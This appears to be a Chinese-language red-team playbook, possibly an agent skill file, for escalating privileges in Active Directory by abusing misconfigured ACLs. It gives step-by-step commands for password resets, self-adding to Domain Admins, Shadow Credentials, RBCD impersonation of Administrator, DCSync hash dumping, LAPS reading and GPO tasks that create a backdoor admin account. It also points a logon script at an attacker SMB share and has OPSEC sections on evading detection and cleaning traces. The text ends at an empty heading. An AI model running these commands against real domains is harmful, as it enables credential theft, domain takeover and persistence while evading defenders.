Ad Acl Abuse

AD ACL 滥用攻击方法论

核心价值：利用 AD 对象上的错误权限配置实现提权，无需漏洞利用

⛔ 深入参考

• ACE 权限位详解与完整滥用链 → references/ace-abuse-chains.md
• Shadow Credentials 与 RBCD 组合攻击 → references/shadow-creds-rbcd.md

---

Phase 1: 危险 ACE 枚举

1.1 BloodHound 路径发现（首选）

# 数据收集
bloodhound-python -d DOMAIN -u user -p pass -dc DC_IP -c all

# BloodHound 中查询危险路径：
# - Shortest Path to Domain Admins
# - Find Principals with DCSync Rights
# - Find Dangerous Rights (ACL)

1.2 手动枚举（无 BloodHound 时）

# 使用 dacledit.py（impacket）
dacledit.py -dc-ip DC_IP DOMAIN/user:pass -target 'Domain Admins' -action read

# 使用 PowerView (Windows)
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner|GenericWrite"}

# 使用 netexec
netexec ldap DC_IP -u user -p pass --dacl "CN=Domain Admins"

1.3 关键危险权限速查

Phase 2: 滥用决策树

发现什么权限？在什么对象上？
│
├─ GenericAll on User
│   ├─ 重置密码 → net rpc password -U user%pass -S DC_IP target_user 'NewP@ss'
│   ├─ Targeted Kerberoasting → 设置 SPN → 请求票据 → 破解
│   ├─ Shadow Credentials → 设置 msDS-KeyCredentialLink → 获取 TGT
│   └─ 修改 scriptPath → 下次登录执行恶意脚本
│
├─ GenericAll on Group
│   └─ 将自己加入组
│       net rpc group addmem "Domain Admins" user -U user%pass -S DC_IP
│
├─ GenericAll on Computer
│   ├─ RBCD → 设置 msDS-AllowedToActOnBehalfOfOtherIdentity
│   └─ Shadow Credentials → 设置 msDS-KeyCredentialLink
│
├─ WriteDACL on Object
│   └─ 先给自己加 GenericAll → 然后按上面操作
│       dacledit.py ... -target obj -action write -rights GenericAll -principal self
│
├─ WriteOwner on Object
│   └─ 先把自己设为 Owner → 然后 WriteDACL → GenericAll
│       owneredit.py ... -target obj -new-owner self
│
├─ GenericWrite on User
│   ├─ Targeted Kerberoasting → 设置 SPN
│   ├─ Shadow Credentials → 设置 Key Credential
│   └─ 修改 logon script
│
├─ ForceChangePassword on User
│   └─ 直接重置目标密码（⛔ 会锁定原用户）
│
└─ AllExtendedRights on Domain
    └─ DCSync → impacket-secretsdump DOMAIN/user:pass@DC_IP

Phase 3: 常见利用命令

3.1 GenericAll → 重置密码

# impacket
net rpc password target_user 'N3wP@ss!' -U 'DOMAIN/user%pass' -S DC_IP

# rpcclient
rpcclient -U "user%pass" DC_IP -c "setuserinfo2 target_user 23 N3wP@ss!"

# PowerView
Set-DomainUserPassword -Identity target_user -AccountPassword (ConvertTo-SecureString 'N3wP@ss!' -AsPlainText -Force)

3.2 GenericAll/GenericWrite → Shadow Credentials

# pywhisker — 添加 Key Credential
python3 pywhisker.py -d DOMAIN -u user -p pass --dc-ip DC_IP \
  -t target_user -a add

# 输出的 pfx 文件 → 使用 PKINITtools 获取 TGT
python3 gettgtpkinit.py -cert-pfx output.pfx -pfx-pass PASS \
  DOMAIN/target_user target_user.ccache

# 使用 TGT
export KRB5CCNAME=target_user.ccache
impacket-secretsdump -k -no-pass DOMAIN/target_user@DC_IP

3.3 GenericAll on Computer → RBCD

# 步骤 1: 添加或使用已控机器账户
impacket-addcomputer DOMAIN/user:pass -computer-name FAKE$ -computer-pass FakeP@ss

# 步骤 2: 设置目标机器的 msDS-AllowedToActOnBehalfOfOtherIdentity
rbcd.py -dc-ip DC_IP -delegate-to TARGET$ -delegate-from FAKE$ DOMAIN/user:pass
# 或使用 impacket
impacket-rbcd DOMAIN/user:pass -dc-ip DC_IP -target TARGET$ -delegate-from FAKE$ -action write

# 步骤 3: S4U2Self + S4U2Proxy 获取服务票据
impacket-getST -spn cifs/TARGET.DOMAIN -impersonate Administrator \
  DOMAIN/FAKE$:FakeP@ss -dc-ip DC_IP

# 步骤 4: 使用票据
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.DOMAIN

3.4 WriteDACL → 先提权

# 给自己添加 GenericAll
dacledit.py -dc-ip DC_IP DOMAIN/user:pass \
  -target "CN=Target,DC=domain,DC=com" \
  -action write -rights GenericAll -principal user

# 然后按 GenericAll 的利用方式操作

# 清理：操作完后删除添加的 ACE
dacledit.py -dc-ip DC_IP DOMAIN/user:pass \
  -target "CN=Target,DC=domain,DC=com" \
  -action remove -rights GenericAll -principal user

3.5 WriteOwner → 接管所有权

# 修改对象所有者为自己
owneredit.py -dc-ip DC_IP DOMAIN/user:pass \
  -target "CN=Target,DC=domain,DC=com" \
  -new-owner user

# 所有者可以修改 DACL → 然后 WriteDACL → GenericAll

Phase 4: OPSEC 注意事项

⛔ 高检测风险操作：
├─ 重置密码 → 用户报告无法登录 → 立即暴露
├─ 修改 Domain Admins 组成员 → 高优先级告警
├─ 修改 AdminSDHolder → 被 SDProp 还原 + 告警
└─ 大量 ACL 查询 → LDAP 审计日志

✓ 相对隐蔽操作：
├─ Shadow Credentials → 不改密码，不加组
├─ Targeted Kerberoasting → 只加 SPN，离线破解
├─ RBCD → 不直接修改敏感组
└─ 修改非特权用户 → 低告警

清理提醒：
├─ 删除添加的 SPN
├─ 删除添加的 Key Credential
├─ 删除 RBCD 委派配置
├─ 恢复修改的 ACE
└─ 删除创建的机器账户

工具速查

ACE 滥用完整利用链参考

Active Directory 中的访问控制项 (ACE) 定义了谁对哪个对象拥有什么权限。错误配置的 ACE 可以被用于权限提升、凭据窃取和持久化。

---

1. ACE 类型与权限掩码

关键权限及其十六进制值

常见扩展权限 GUID

# DS-Replication-Get-Changes
1131f6aa-9c07-11d1-f79f-00c04fc2dcd2

# DS-Replication-Get-Changes-All (DCSync 需要此权限)
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2

# User-Force-Change-Password
00299570-246d-11d0-a768-00aa006e0529

# Self-Membership (AddSelf to group)
bf9679c0-0de6-11d0-a285-00aa003049e2

# ms-Mcs-AdmPwd (LAPS)
UUID varies — 通过 schema 查询

# AllowedToDelegate
UUID varies

---

2. GenericAll 滥用

2.1 对用户对象的 GenericAll

拥有用户对象的 GenericAll 权限 = 完全控制该用户。

# 方法1: 直接重置密码（不需要知道旧密码）
net rpc password "TARGET_USER" "NewP@ss123!" -U "DOMAIN/ATTACKER%Password" -S DC_IP

# 使用 impacket
python3 changepasswd.py DOMAIN/TARGET_USER:OldPass@DC_IP -newpass 'NewP@ss123!' -altuser ATTACKER -altpass 'AttackerPass'

# 方法2: 设置 SPN 实施 Kerberoasting（Targeted Kerberoasting）
python3 targetedKerberoast.py -u ATTACKER -p 'Password' -d DOMAIN --dc-ip DC_IP -t TARGET_USER

# 或手动设置 SPN
python3 addspn.py -u 'DOMAIN\ATTACKER' -p 'Password' -t 'TARGET_USER' -s 'HTTP/fake.corp.local' DC_IP

# 方法3: 配置 Shadow Credentials
python3 pywhisker.py -d DOMAIN -u ATTACKER -p 'Password' --target TARGET_USER --action add --dc-ip DC_IP

# 方法4: 修改 Logon Script（等待用户登录时执行）
# PowerShell (域内):
Set-ADObject -SamAccountName TARGET_USER -PropertyName scriptpath -PropertyValue "\\ATTACKER_IP\share\payload.ps1"
# bloodyAD:
python3 bloodyAD.py -d DOMAIN -u ATTACKER -p 'Password' --host DC_IP \
  set object TARGET_USER scriptPath -v '\\ATTACKER_IP\share\payload.ps1'
# 需配合 SMB 共享 (如 impacket-smbserver) 投递 payload
# OPSEC: 低风险但需等待用户登录触发

# 方法5: 关闭预认证实施 AS-REP Roasting
# 通过 PowerShell (域内):
Set-ADAccountControl -Identity TARGET_USER -DoesNotRequirePreAuth $true
# 通过 impacket:
python3 bloodyAD.py -d DOMAIN -u ATTACKER -p 'Password' --host DC_IP set object TARGET_USER userAccountControl -v 4194304

2.2 对组对象的 GenericAll

# 直接将自己加入组
net rpc group addmem "Domain Admins" "ATTACKER" -U "DOMAIN/ATTACKER%Password" -S DC_IP

# 使用 bloodyAD
python3 bloodyAD.py -d DOMAIN -u ATTACKER -p 'Password' --host DC_IP add groupMember "Domain Admins" ATTACKER

# 使用 ldeep（需要 DN）
# 查找 DN
ldeep ldap -u ATTACKER -p 'Password' -d DOMAIN -s ldap://DC_IP search '(sAMAccountName=ATTACKER)' distinguishedname
ldeep ldap -u ATTACKER -p 'Password' -d DOMAIN -s ldap://DC_IP search '(sAMAccountName=Domain Admins)' distinguishedname
# 添加到组
ldeep ldap -u ATTACKER -p 'Password' -d DOMAIN -s ldap://DC_IP \
  add_to_group "CN=ATTACKER,OU=Users,DC=corp,DC=local" "CN=Domain Admins,CN=Users,DC=corp,DC=local"
# 验证
ldeep ldap -u ATTACKER -p 'Password' -d DOMAIN -s ldap://DC_IP membersof 'Domain Admins'

# 使用 PowerShell (域内)
Add-ADGroupMember -Identity "Domain Admins" -Members ATTACKER

# 使用 net (域内)
net group "Domain Admins" ATTACKER /add /domain

2.3 对计算机对象的 GenericAll

# 方法1: 配置 RBCD (Resource-Based Constrained Delegation)
# 详见第 7 节

# 方法2: Shadow Credentials
python3 pywhisker.py -d DOMAIN -u ATTACKER -p 'Password' --target 'TARGET_PC$' --action add --dc-ip DC_IP

# 方法3: 读取 LAPS 密码（如果安装了 LAPS）
netexec ldap DC_IP -u ATTACKER -p 'Password' -M laps

# 方法4: 修改 msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)
python3 rbcd.py -delegate-from 'ATTACKER_PC$' -delegate-to 'TARGET_PC$' -action write 'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

2.4 对 GPO 的 GenericAll

# 使用 SharpGPOAbuse (域内 Windows)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount ATTACKER --GPOName "Default Domain Policy"
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c net localgroup administrators ATTACKER /add" --GPOName "Default Domain Policy"

# 使用 pyGPOAbuse (Linux)
python3 pygpoabuse.py DOMAIN/ATTACKER:'Password' -gpo-id "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX" -command 'net localgroup administrators ATTACKER /add' -dc-ip DC_IP

2.5 对 OU 的 GenericAll

# 通过 OU 继承影响 OU 下所有对象
# 方法: 向 OU 添加 ACE，授予自己对 OU 内所有子对象的权限

python3 dacledit.py -action write -rights FullControl \
  -principal ATTACKER -target-dn "OU=Servers,DC=corp,DC=local" \
  'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

---

3. WriteDACL 权限提升

拥有 WriteDACL 可以修改目标对象的 ACL，授予自己任意权限。

逐步操作（使用 dacledit.py）

# 步骤1: 查看当前 ACL
python3 dacledit.py -action read -target TARGET_USER 'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

# 步骤2: 授予自己 GenericAll 权限
python3 dacledit.py -action write -rights FullControl \
  -principal ATTACKER -target TARGET_USER \
  'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

# 步骤3: 现在可以重置密码 / Kerberoast / Shadow Creds
python3 changepasswd.py DOMAIN/TARGET_USER@DC_IP -newpass 'NewP@ss123!' -altuser ATTACKER -altpass 'Password'

# 步骤4: 清理 — 删除添加的 ACE
python3 dacledit.py -action remove -rights FullControl \
  -principal ATTACKER -target TARGET_USER \
  'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

授予 DCSync 权限

# 授予 DCSync 所需的两个扩展权限
python3 dacledit.py -action write -rights DCSync \
  -principal ATTACKER -target-dn "DC=corp,DC=local" \
  'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

# 执行 DCSync
python3 secretsdump.py DOMAIN/ATTACKER:'Password'@DC_IP -just-dc-ntlm

# 清理
python3 dacledit.py -action remove -rights DCSync \
  -principal ATTACKER -target-dn "DC=corp,DC=local" \
  'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

---

4. WriteOwner → WriteDACL → GenericAll 链

三步提升链：先成为对象所有者，再修改 DACL，最后获得完全控制。

# 步骤1: 修改目标对象的所有者为自己
# 使用 impacket owneredit.py
python3 owneredit.py -action write -new-owner ATTACKER \
  -target TARGET_USER 'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

# 步骤2: 作为所有者，授予自己 WriteDACL 权限（所有者隐含此权限）
# 然后授予 GenericAll
python3 dacledit.py -action write -rights FullControl \
  -principal ATTACKER -target TARGET_USER \
  'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

# 步骤3: 利用 GenericAll 权限
# 重置密码
python3 changepasswd.py DOMAIN/TARGET_USER@DC_IP -newpass 'NewP@ss123!' -altuser ATTACKER -altpass 'Password'

# 完整链示例 (从 WriteOwner 到域管):
# ATTACKER --WriteOwner--> svc_admin --WriteDACL--> GenericAll --> 重置密码 --> svc_admin 是 Domain Admins 成员

清理（逆序恢复）

# 1. 恢复原始 ACE
python3 dacledit.py -action remove -rights FullControl \
  -principal ATTACKER -target TARGET_USER \
  'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

# 2. 恢复原始所有者
python3 owneredit.py -action write -new-owner ORIGINAL_OWNER \
  -target TARGET_USER 'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

---

5. Shadow Credentials 完整链

利用对目标对象的写权限（GenericAll / GenericWrite / WriteProperty on msDS-KeyCredentialLink），添加影子凭据实现 PKINIT 认证获取 TGT。

完整流程

# 前提: 域内存在 ADCS (Active Directory Certificate Services) 或域功能级别 >= 2016
# 且攻击者对目标有 msDS-KeyCredentialLink 写权限

# 步骤1: 添加 Shadow Credential (pywhisker)
python3 pywhisker.py -d DOMAIN -u ATTACKER -p 'Password' \
  --target TARGET_USER --action add --dc-ip DC_IP
# 输出:
# [*] Updated the msDS-KeyCredentialLink attribute of TARGET_USER
# [*] DeviceID: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
# [*] PFX certificate and target info saved to: xxxxx.pfx
# [*] PFX password: xxxxx

# 步骤2: 使用 PKINIT 获取 TGT (PKINITtools)
python3 gettgtpkinit.py -cert-pfx xxxxx.pfx -pfx-pass 'xxxxx' \
  DOMAIN/TARGET_USER TARGET_USER.ccache -dc-ip DC_IP
# 输出: TGT 保存为 TARGET_USER.ccache

# 步骤3: 获取 NT Hash (PKINITtools - U2U)
export KRB5CCNAME=TARGET_USER.ccache
python3 getnthash.py -key AS_REP_KEY_FROM_STEP2 DOMAIN/TARGET_USER -dc-ip DC_IP
# 输出: TARGET_USER 的 NTLM hash

# 步骤4: 使用 NT Hash 进行 Pass-the-Hash
python3 secretsdump.py -hashes :NTHASH DOMAIN/TARGET_USER@DC_IP
# 或
netexec smb DC_IP -u TARGET_USER -H NTHASH

针对计算机账户

# 对计算机账户同样有效 — 获取计算机账户的 TGT 后可以 DCSync
python3 pywhisker.py -d DOMAIN -u ATTACKER -p 'Password' \
  --target 'DC01$' --action add --dc-ip DC_IP

python3 gettgtpkinit.py -cert-pfx dc01.pfx -pfx-pass 'xxxxx' \
  'DOMAIN/DC01$' dc01.ccache -dc-ip DC_IP

export KRB5CCNAME=dc01.ccache
python3 getnthash.py -key AS_REP_KEY 'DOMAIN/DC01$' -dc-ip DC_IP

# 使用 DC 机器账户 hash 进行 DCSync
python3 secretsdump.py -hashes :DC_NTHASH 'DOMAIN/DC01$'@DC_IP -just-dc-ntlm

清理

# 列出目标的所有 Shadow Credentials
python3 pywhisker.py -d DOMAIN -u ATTACKER -p 'Password' \
  --target TARGET_USER --action list --dc-ip DC_IP

# 删除指定的 DeviceID
python3 pywhisker.py -d DOMAIN -u ATTACKER -p 'Password' \
  --target TARGET_USER --action remove --device-id DEVICE_ID --dc-ip DC_IP

---

6. Targeted Kerberoasting（SPN 操纵）

对目标用户有写权限时，可以为其设置 SPN 然后请求服务票据进行离线破解。

# 步骤1: 为目标用户设置 SPN
python3 addspn.py -u 'DOMAIN\ATTACKER' -p 'Password' \
  -t TARGET_USER -s 'HTTP/fake.corp.local' DC_IP

# 或使用 bloodyAD
python3 bloodyAD.py -d DOMAIN -u ATTACKER -p 'Password' --host DC_IP \
  set object TARGET_USER servicePrincipalName -v 'HTTP/fake.corp.local'

# 步骤2: 请求服务票据
python3 GetUserSPNs.py DOMAIN/ATTACKER:'Password' -dc-ip DC_IP \
  -request -target-user TARGET_USER -outputfile targeted_tgs.txt

# 步骤3: 离线破解
hashcat -m 13100 targeted_tgs.txt wordlist.txt -r best64.rule -O -w 3

# 清理: 删除 SPN
python3 addspn.py -u 'DOMAIN\ATTACKER' -p 'Password' \
  -t TARGET_USER -s 'HTTP/fake.corp.local' DC_IP -r   # -r = remove

---

7. RBCD（基于资源的约束委派）完整链

当拥有目标计算机的 GenericAll/GenericWrite/WriteProperty(msDS-AllowedToActOnBehalfOfOtherIdentity) 权限时。

# 前提: 需要一个受控的计算机账户（可以通过 MAQ 创建）

# 步骤1: 创建机器账户（利用 ms-DS-MachineAccountQuota，默认值 10）
python3 addcomputer.py -computer-name 'EVIL_PC$' -computer-pass 'EvilPass123!' \
  -dc-ip DC_IP 'DOMAIN/ATTACKER:Password'

# 步骤2: 配置 RBCD — 允许 EVIL_PC 代表任何用户访问 TARGET_PC
python3 rbcd.py -delegate-from 'EVIL_PC$' -delegate-to 'TARGET_PC$' \
  -action write 'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

# 步骤3: 请求 S4U2Self + S4U2Proxy 票据（模拟 Administrator 访问 TARGET_PC）
python3 getST.py -spn cifs/TARGET_PC.corp.local \
  -impersonate Administrator \
  -dc-ip DC_IP 'DOMAIN/EVIL_PC$:EvilPass123!'
# 输出: Administrator@cifs_TARGET_PC.corp.local.ccache

# 步骤4: 使用票据访问目标
export KRB5CCNAME=Administrator@cifs_TARGET_PC.corp.local.ccache

python3 secretsdump.py -k -no-pass TARGET_PC.corp.local
python3 wmiexec.py -k -no-pass TARGET_PC.corp.local
python3 smbexec.py -k -no-pass TARGET_PC.corp.local
netexec smb TARGET_PC.corp.local -k --use-kcache

清理

# 删除 RBCD 配置
python3 rbcd.py -delegate-from 'EVIL_PC$' -delegate-to 'TARGET_PC$' \
  -action flush 'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

# 删除创建的机器账户
python3 addcomputer.py -computer-name 'EVIL_PC$' -computer-pass 'EvilPass123!' \
  -dc-ip DC_IP 'DOMAIN/ATTACKER:Password' -delete

---

8. GPO 滥用

对 GPO 有写权限（GenericAll/GenericWrite）时，可以推送恶意策略到链接该 GPO 的 OU 中所有计算机。

确认 GPO 写权限

# 枚举可写 GPO
python3 dacledit.py -action read -target-dn "CN={GPO-GUID},CN=Policies,CN=System,DC=corp,DC=local" \
  'DOMAIN/ATTACKER:Password' -dc-ip DC_IP

利用方法

# 方法1: 添加本地管理员
python3 pygpoabuse.py 'DOMAIN/ATTACKER:Password' \
  -gpo-id "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX" \
  -command 'net localgroup administrators DOMAIN\ATTACKER /add' \
  -dc-ip DC_IP -f

# 方法2: 创建即时任务执行命令
python3 pygpoabuse.py 'DOMAIN/ATTACKER:Password' \
  -gpo-id "XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX" \
  -command 'powershell -enc BASE64_PAYLOAD' \
  -dc-ip DC_IP -f

# 方法3: 使用 SharpGPOAbuse (Windows)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount ATTACKER --GPOName "VulnGPO"
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author SYSTEM \
  --Command "cmd.exe" --Arguments "/c net user backdoor P@ss123! /add && net localgroup administrators backdoor /add" \
  --GPOName "VulnGPO"

强制 GPO 更新

# 默认 GPO 每 90 分钟刷新一次，可以强制更新
# 远程触发（如果有 WinRM 权限）
netexec smb TARGET_PC -u ATTACKER -p 'Password' -x 'gpupdate /force'
# 否则等待最多 90 分钟

清理

# 恢复 GPO: pygpoabuse 会备份原始 GPT.INI，用备份恢复
# 或手动删除创建的计划任务/组策略项

---

9. LAPS 密码读取

如果账户拥有 ReadLAPSPassword ACE（ms-Mcs-AdmPwd 读取权限），可以直接获取目标计算机的本地管理员密码。

# 方法1: netexec (推荐)
netexec ldap DC_IP -u ATTACKER -p 'Password' -M laps

# 方法2: impacket
python3 Get-LAPSPasswords.py DOMAIN/ATTACKER:'Password' -dc-ip DC_IP

# 方法3: ldapsearch
ldapsearch -x -H ldap://DC_IP -D "ATTACKER@DOMAIN" -w 'Password' \
  -b "DC=corp,DC=local" "(ms-Mcs-AdmPwdExpirationTime=*)" ms-Mcs-AdmPwd ms-Mcs-AdmPwdExpirationTime

# 方法4: bloodyAD
python3 bloodyAD.py -d DOMAIN -u ATTACKER -p 'Password' --host DC_IP \
  get object 'TARGET_PC$' --attr ms-Mcs-AdmPwd

# LAPS v2 (Windows LAPS) — 属性名不同
# msLAPS-Password / msLAPS-EncryptedPassword
netexec ldap DC_IP -u ATTACKER -p 'Password' -M laps
# netexec 会自动处理 v1 和 v2

利用 LAPS 密码

# 获取到的密码是目标计算机的本地管理员密码
LAPS_PASS="获取到的密码"

# 远程执行
netexec smb TARGET_PC -u Administrator -p "$LAPS_PASS" --local-auth -x 'whoami'
python3 wmiexec.py ./Administrator:"$LAPS_PASS"@TARGET_PC
python3 psexec.py ./Administrator:"$LAPS_PASS"@TARGET_PC

---

10. 各技术清理命令汇总

---

11. BloodHound Cypher 查询

查找可利用的 ACE 路径

// 查找所有到 Domain Admins 的最短 ACE 路径
MATCH p=shortestPath((u:User)-[r*1..]->(g:Group {name:"DOMAIN ADMINS@CORP.LOCAL"}))
WHERE u.name <> "ADMINISTRATOR@CORP.LOCAL"
AND ALL(rel IN relationships(p) WHERE type(rel) IN [
    'GenericAll', 'GenericWrite', 'WriteDacl', 'WriteOwner',
    'Owns', 'ForceChangePassword', 'AddMember', 'AllExtendedRights'
])
RETURN p

查找 GenericAll 权限

// 非管理员用户对其他用户的 GenericAll
MATCH p=(u:User)-[:GenericAll]->(t:User)
WHERE NOT u.name STARTS WITH 'ADMINISTRATOR'
AND NOT u.name STARTS WITH 'KRBTGT'
RETURN p

// 对组的 GenericAll
MATCH p=(u:User)-[:GenericAll]->(g:Group)
WHERE g.name CONTAINS 'ADMIN'
RETURN p

// 对计算机的 GenericAll
MATCH p=(u:User)-[:GenericAll]->(c:Computer)
RETURN p

查找 WriteDACL 和 WriteOwner

// WriteDACL 到高价值目标
MATCH p=(u:User)-[:WriteDacl]->(t)
WHERE t.highvalue = true
RETURN p

// WriteOwner
MATCH p=(u:User)-[:WriteOwner]->(t)
WHERE t.highvalue = true
RETURN p

// WriteDACL + WriteOwner 链
MATCH p=(u:User)-[:WriteOwner|WriteDacl*1..3]->(t)
WHERE t.highvalue = true
RETURN p

查找 Shadow Credentials 可利用目标

// 对计算机有 GenericAll/GenericWrite 的用户（可做 Shadow Credentials）
MATCH p=(u:User)-[:GenericAll|GenericWrite]->(c:Computer)
RETURN p

// 对用户有写 msDS-KeyCredentialLink 权限的
MATCH p=(u:User)-[:AddKeyCredentialLink]->(t)
RETURN p

查找 RBCD 攻击路径

// 对计算机有写权限且存在可控机器账户的路径
MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl]->(c:Computer)
WHERE u.owned = true
RETURN p

// 查看哪些计算机配置了 RBCD
MATCH p=(c1:Computer)-[:AllowedToAct]->(c2:Computer)
RETURN p

查找 GPO 滥用路径

// 对 GPO 有写权限的用户
MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner]->(g:GPO)
RETURN p

// GPO 链接到的 OU 及其包含的计算机
MATCH (g:GPO)-[:GpLink]->(ou:OU)-[:Contains*1..]->(c:Computer)
WHERE g.name = "TARGET_GPO@CORP.LOCAL"
RETURN g, ou, c

查找 LAPS 可读目标

// 拥有 ReadLAPSPassword 权限的用户
MATCH p=(u:User)-[:ReadLAPSPassword]->(c:Computer)
RETURN p

// 通过组继承获得 LAPS 读取权限
MATCH p=(u:User)-[:MemberOf*1..3]->(g:Group)-[:ReadLAPSPassword]->(c:Computer)
RETURN p

综合高价值路径发现

// 从已控账户出发，查找所有 ACE 可达路径（深度 <= 5）
MATCH p=shortestPath((u {owned:true})-[r*1..5]->(t {highvalue:true}))
WHERE ALL(rel IN relationships(p) WHERE type(rel) IN [
    'GenericAll', 'GenericWrite', 'WriteDacl', 'WriteOwner',
    'Owns', 'ForceChangePassword', 'AddMember', 'AllExtendedRights',
    'AddKeyCredentialLink', 'ReadLAPSPassword', 'MemberOf',
    'DCSync', 'GetChanges', 'GetChangesAll'
])
RETURN p
ORDER BY length(p) ASC
LIMIT 20

---

参考链接

• BloodHound - Abuse Info
• The Hacker Recipes - ACE Abuse
• Impacket - GitHub
• pywhisker - GitHub
• PKINITtools - GitHub
• dacledit.py - GitHub
• bloodyAD - GitHub

Shadow Credentials 与 RBCD 组合攻击

当 BloodHound 显示你对目标对象有 GenericWrite/GenericAll 权限时，Shadow Credentials 和 RBCD 是两条最隐蔽的提权路径。两者可以独立使用，也可以组合形成链式攻击。

---

1. Shadow Credentials 攻击详解

1.1 原理

Shadow Credentials 利用 Windows Hello for Business 的 Key Trust 机制：
├─ msDS-KeyCredentialLink 属性存储用户/计算机的公钥凭据
├─ 拥有该属性写权限 → 可以添加攻击者控制的密钥对
├─ 使用对应私钥通过 PKINIT 向 KDC 申请 TGT
├─ 整个过程不修改密码、不加入组 → OPSEC 友好
└─ 需要域内存在 ADCS（或域功能级别 >= Windows Server 2016）

1.2 前提条件

必要条件检查：
├─ 权限: GenericWrite / GenericAll / WriteProperty(msDS-KeyCredentialLink) on target
├─ ADCS: 域内至少一个 Enterprise CA（PKINIT 需要证书服务）
│   └─ 检查: certutil -TCAInfo  或  certipy find -dc-ip DC_IP -u user -p pass
├─ 域功能级别: >= Windows Server 2016（支持 Key Trust）
│   └─ 检查: Get-ADDomain | Select DomainMode
└─ 网络: 能访问 DC 的 LDAP(S) 端口（389/636）

1.3 完整利用步骤

# ===== Linux 攻击链（pywhisker + PKINITtools）=====

# 步骤 1: 添加 Shadow Credential
python3 pywhisker.py -d corp.local -u attacker -p 'P@ssw0rd' \
  --target victim_user --action add --dc-ip 10.10.10.1
# 输出: PFX 文件路径 + 密码 + DeviceID

# 步骤 2: PKINIT 获取 TGT
python3 gettgtpkinit.py -cert-pfx ./output.pfx -pfx-pass 'generated_pass' \
  corp.local/victim_user victim.ccache -dc-ip 10.10.10.1
# 输出: AS-REP encryption key + TGT ccache 文件

# 步骤 3: 使用 U2U 获取 NT Hash（可选但推荐）
export KRB5CCNAME=victim.ccache
python3 getnthash.py -key <AS_REP_KEY> corp.local/victim_user -dc-ip 10.10.10.1
# 输出: victim_user 的 NTLM hash

# 步骤 4: 利用获得的凭据
# 方式A: Pass-the-Hash
netexec smb 10.10.10.1 -u victim_user -H <NTHASH> --shares
# 方式B: Pass-the-Ticket
export KRB5CCNAME=victim.ccache
impacket-secretsdump -k -no-pass corp.local/victim_user@DC01.corp.local

# ===== Windows 攻击链（Whisker + Rubeus）=====

# 步骤 1: 添加 Key Credential
.\Whisker.exe add /target:victim_user /domain:corp.local /dc:DC01.corp.local
# 输出: Rubeus 命令和 Base64 证书

# 步骤 2: 使用 Rubeus 获取 TGT
.\Rubeus.exe asktgt /user:victim_user /certificate:<BASE64_CERT> \
  /password:<CERT_PASS> /domain:corp.local /dc:DC01.corp.local /getcredentials /show
# 输出: TGT + NTLM hash

# 步骤 3: Pass-the-Ticket
.\Rubeus.exe ptt /ticket:<BASE64_TGT>

1.4 PKINIT 认证流程

攻击者                          KDC (Domain Controller)
   │                                    │
   │ ── AS-REQ (PKINIT PA-DATA) ──────> │
   │    包含: 证书 + 签名               │
   │    (用 msDS-KeyCredentialLink      │
   │     中的私钥签名)                   │
   │                                    │
   │ <── AS-REP ─────────────────────── │
   │    包含: TGT + 加密的 session key  │
   │    (KDC 验证公钥匹配后签发)        │
   │                                    │
   │ ── TGS-REQ (使用 TGT) ──────────> │
   │                                    │
   │ <── TGS-REP (服务票据) ──────────  │
   │                                    │

1.5 与 ADCS 的关系

Shadow Credentials vs ADCS 证书攻击:
├─ Shadow Creds: 利用 Key Trust（msDS-KeyCredentialLink）
│   └─ 需要对目标的写权限
├─ ADCS ESC1-ESC8: 利用证书模板配置错误
│   └─ 需要有漏洞的证书模板
├─ 共同点: 都通过 PKINIT 获取 TGT
├─ 区别: Shadow Creds 写属性，ADCS 申请证书
└─ 当 ADCS 不存在时: Shadow Creds 不可用 → 转用 RBCD

---

2. Resource-Based Constrained Delegation (RBCD) 攻击详解

2.1 原理

RBCD 利用 Kerberos 委派机制:
├─ msDS-AllowedToActOnBehalfOfOtherIdentity 属性
│   定义: 哪些账户可以代表其他用户访问本计算机
├─ 区别于传统约束委派: RBCD 在目标机器上配置，而非源机器
├─ 攻击逻辑:
│   1. 控制一个有 SPN 的账户（通常是机器账户）
│   2. 将该账户写入目标的 msDS-AllowedToActOnBehalfOfOtherIdentity
│   3. S4U2Self: 以任意用户身份获取到攻击者机器的 ST
│   4. S4U2Proxy: 将该 ST 转发为访问目标服务的 ST
│   5. 使用 Administrator 的服务票据访问目标
└─ 整个过程不需要知道 Administrator 的密码

2.2 前提条件

必要条件:
├─ 权限: GenericWrite / GenericAll / WriteProperty 在目标计算机对象上
├─ SPN 账户: 需要控制一个有 SPN 的账户
│   ├─ 方式1: 创建机器账户（MAQ > 0，默认值 10）
│   │   └─ 检查: Get-ADObject -Identity ((Get-ADDomain).distinguishedname) -Properties ms-DS-MachineAccountQuota
│   ├─ 方式2: 已控制的现有计算机账户
│   └─ 方式3: 已控制的有 SPN 的服务账户
└─ 网络: 能访问 DC 的 Kerberos (88) + LDAP (389)

2.3 完整利用链

# ===== 完整 RBCD 攻击链 =====

